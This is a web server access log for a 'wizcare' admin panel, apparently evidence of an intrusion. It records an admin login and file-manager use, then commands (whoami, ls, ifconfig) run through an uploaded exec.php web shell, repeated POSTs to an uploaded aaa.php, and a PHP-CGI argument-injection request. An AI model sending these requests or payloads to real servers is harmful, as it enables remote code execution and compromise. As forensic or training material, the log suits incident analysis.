[03/Dec/2024:10:08:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" 116806
[03/Dec/2024:10:08:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[03/Dec/2024:10:08:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.woff2?v=4.5.0 HTTP/1.1" 66624
[03/Dec/2024:10:08:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/images/pattern.jpg HTTP/1.1" 7080
[03/Dec/2024:10:08:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 85
[03/Dec/2024:10:08:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:10:08:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/jquery-ui.min.css HTTP/1.1" 14900
[03/Dec/2024:10:08:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ui.jqgrid.min.css HTTP/1.1" 12929
[03/Dec/2024:10:08:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-skins.min.css HTTP/1.1" 77952
[03/Dec/2024:10:08:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-extra.min.js HTTP/1.1" 6241
[03/Dec/2024:10:08:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/bootstrap.min.js HTTP/1.1" 36868
[03/Dec/2024:10:08:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery.jqGrid.min.js HTTP/1.1" 311063
[03/Dec/2024:10:08:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/grid.locale-en.js HTTP/1.1" 3935
[03/Dec/2024:10:08:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-elements.min.js HTTP/1.1" 41077
[03/Dec/2024:10:08:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace.min.js HTTP/1.1" 55785
[03/Dec/2024:10:08:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:08:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:08:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:08:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:08:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:10:08:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/prodedit.php?l_type=A HTTP/1.1" 7912
[03/Dec/2024:10:08:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/change.css HTTP/1.1" 3489
[03/Dec/2024:10:08:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style.css HTTP/1.1" 29795
[03/Dec/2024:10:08:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/responsive.css HTTP/1.1" 11762
[03/Dec/2024:10:08:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/reset.css HTTP/1.1" 12302
[03/Dec/2024:10:08:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/font-awesome.min.css HTTP/1.1" 31028
[03/Dec/2024:10:08:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/swiper.css HTTP/1.1" 21248
[03/Dec/2024:10:08:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/animate.css HTTP/1.1" 5026
[03/Dec/2024:10:08:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/ckeditor.js HTTP/1.1" 531276
[03/Dec/2024:10:08:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/wow.min.js HTTP/1.1" 7058
[03/Dec/2024:10:08:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.woff2?v=4.7.0 HTTP/1.1" 77160
[03/Dec/2024:10:08:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/main.js HTTP/1.1" 5709
[03/Dec/2024:10:08:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/config.js?t=EAPE HTTP/1.1" 1497
[03/Dec/2024:10:08:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:08:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/editor.css?t=EAPE HTTP/1.1" 46357
[03/Dec/2024:10:08:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:08:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/lang/zh-cn.js?t=EAPE HTTP/1.1" 16579
[03/Dec/2024:10:08:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/styles.js?t=EAPE HTTP/1.1" 3605
[03/Dec/2024:10:08:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/icons.png HTTP/1.1" 20833
[03/Dec/2024:10:08:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/contents.css?t=EAPE HTTP/1.1" 307
[03/Dec/2024:10:08:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newlist.php HTTP/1.1" 20907
[03/Dec/2024:10:08:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:08:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:08:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:08:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:08:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_news.php HTTP/1.1" 598
[03/Dec/2024:10:08:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=3&oper=edit HTTP/1.1" 8352
[03/Dec/2024:10:08:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:08:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:09:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22679
[03/Dec/2024:10:09:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php?refer=%2Fwizcare%2Fadmin%2Fusers.php HTTP/1.1" 9089
[03/Dec/2024:10:09:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php HTTP/1.1" 7785
[03/Dec/2024:10:09:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/filemanager.php HTTP/1.1" -
[03/Dec/2024:10:09:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:09:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:09:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:11:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/addnews.php HTTP/1.1" -
[03/Dec/2024:10:11:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=5&oper=edit HTTP/1.1" 8031
[03/Dec/2024:10:11:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[03/Dec/2024:10:11:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[03/Dec/2024:10:11:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/change.css HTTP/1.1" 3489
[03/Dec/2024:10:11:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style.css HTTP/1.1" 29795
[03/Dec/2024:10:11:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/responsive.css HTTP/1.1" 11762
[03/Dec/2024:10:11:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/jquery-ui.min.css HTTP/1.1" 14900
[03/Dec/2024:10:11:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ui.jqgrid.min.css HTTP/1.1" 12929
[03/Dec/2024:10:11:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" 494
[03/Dec/2024:10:11:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" 396938
[03/Dec/2024:10:11:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-skins.min.css HTTP/1.1" 77952
[03/Dec/2024:10:11:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" 116806
[03/Dec/2024:10:11:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/reset.css HTTP/1.1" 12302
[03/Dec/2024:10:11:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/font-awesome.min.css HTTP/1.1" 31028
[03/Dec/2024:10:11:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/swiper.css HTTP/1.1" 21248
[03/Dec/2024:10:11:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/animate.css HTTP/1.1" 5026
[03/Dec/2024:10:11:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/ckeditor.js HTTP/1.1" 531276
[03/Dec/2024:10:11:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-elements.min.js HTTP/1.1" 41077
[03/Dec/2024:10:11:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace.min.js HTTP/1.1" 55785
[03/Dec/2024:10:11:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/main.js HTTP/1.1" 5709
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/grid.locale-en.js HTTP/1.1" 3935
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/wow.min.js HTTP/1.1" 7058
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-extra.min.js HTTP/1.1" 6241
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/bootstrap.min.js HTTP/1.1" 36868
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery.jqGrid.min.js HTTP/1.1" 311063
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.woff2?v=4.7.0 HTTP/1.1" 77160
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/config.js?t=EAPE HTTP/1.1" 1497
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/lang/zh-cn.js?t=EAPE HTTP/1.1" 16579
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/editor.css?t=EAPE HTTP/1.1" 46357
[03/Dec/2024:10:11:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/styles.js?t=EAPE HTTP/1.1" 3605
[03/Dec/2024:10:11:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/icons.png HTTP/1.1" 20833
[03/Dec/2024:10:11:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/contents.css?t=EAPE HTTP/1.1" 307
[03/Dec/2024:10:11:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php HTTP/1.1" 2943
[03/Dec/2024:10:11:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php?shell HTTP/1.1" 3249
[03/Dec/2024:10:11:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php?shell=&cmd=whoami&submit=Run%21 HTTP/1.1" 3249
[03/Dec/2024:10:11:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php?shell=&cmd=ls&submit=Run%21 HTTP/1.1" 3249
[03/Dec/2024:10:11:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php?shell=&cmd=ls&submit=Run%21 HTTP/1.1" 3249
[03/Dec/2024:10:11:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php?shell HTTP/1.1" 3249
[03/Dec/2024:10:11:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php?shell HTTP/1.1" 3249
[03/Dec/2024:10:11:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php?shell=&cmd=whoami&submit=Run%21 HTTP/1.1" 3249
[03/Dec/2024:10:11:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/exec.php?shell=&cmd=ifconfig&submit=Run%21 HTTP/1.1" 3249
[03/Dec/2024:10:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 82
[03/Dec/2024:10:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:10:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:14:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:10:14:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php HTTP/1.1" 7785
[03/Dec/2024:10:14:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.woff2?v=4.7.0 HTTP/1.1" 77160
[03/Dec/2024:10:14:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:14:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:15:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/addnews.php HTTP/1.1" -
[03/Dec/2024:10:15:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=6&oper=edit HTTP/1.1" 8014
[03/Dec/2024:10:15:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:15:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:16:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[03/Dec/2024:10:16:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[03/Dec/2024:10:16:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[03/Dec/2024:10:18:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[03/Dec/2024:10:18:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/loading.gif HTTP/1.1" 1737
[03/Dec/2024:10:19:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[03/Dec/2024:10:19:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[03/Dec/2024:10:19:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 1168
[03/Dec/2024:10:19:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 92
[03/Dec/2024:10:20:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 136
[03/Dec/2024:10:21:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[03/Dec/2024:10:24:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=w-YBAAABAAAAAAAABmdvb2dsZQNjb20AAAEAAQ HTTP/1.1" 300
[03/Dec/2024:10:32:45 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:10:32:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 82
[03/Dec/2024:10:32:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:10:32:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:32:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:32:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:32:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:32:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:10:32:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-extra.min.js HTTP/1.1" 6241
[03/Dec/2024:10:33:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newlist.php HTTP/1.1" 20907
[03/Dec/2024:10:33:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:33:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:33:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:33:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:33:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_news.php HTTP/1.1" 774
[03/Dec/2024:10:33:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=4&oper=edit HTTP/1.1" 8025
[03/Dec/2024:10:33:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/reset.css HTTP/1.1" 12302
[03/Dec/2024:10:33:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:33:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:33:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newlist.php HTTP/1.1" 20907
[03/Dec/2024:10:33:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_news.php HTTP/1.1" 774
[03/Dec/2024:10:33:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=5&oper=edit HTTP/1.1" 8031
[03/Dec/2024:10:33:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:33:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:34:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newlist.php HTTP/1.1" 20907
[03/Dec/2024:10:34:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:34:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:34:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_news.php HTTP/1.1" 774
[03/Dec/2024:10:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php HTTP/1.1" 7785
[03/Dec/2024:10:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:10:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:34:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
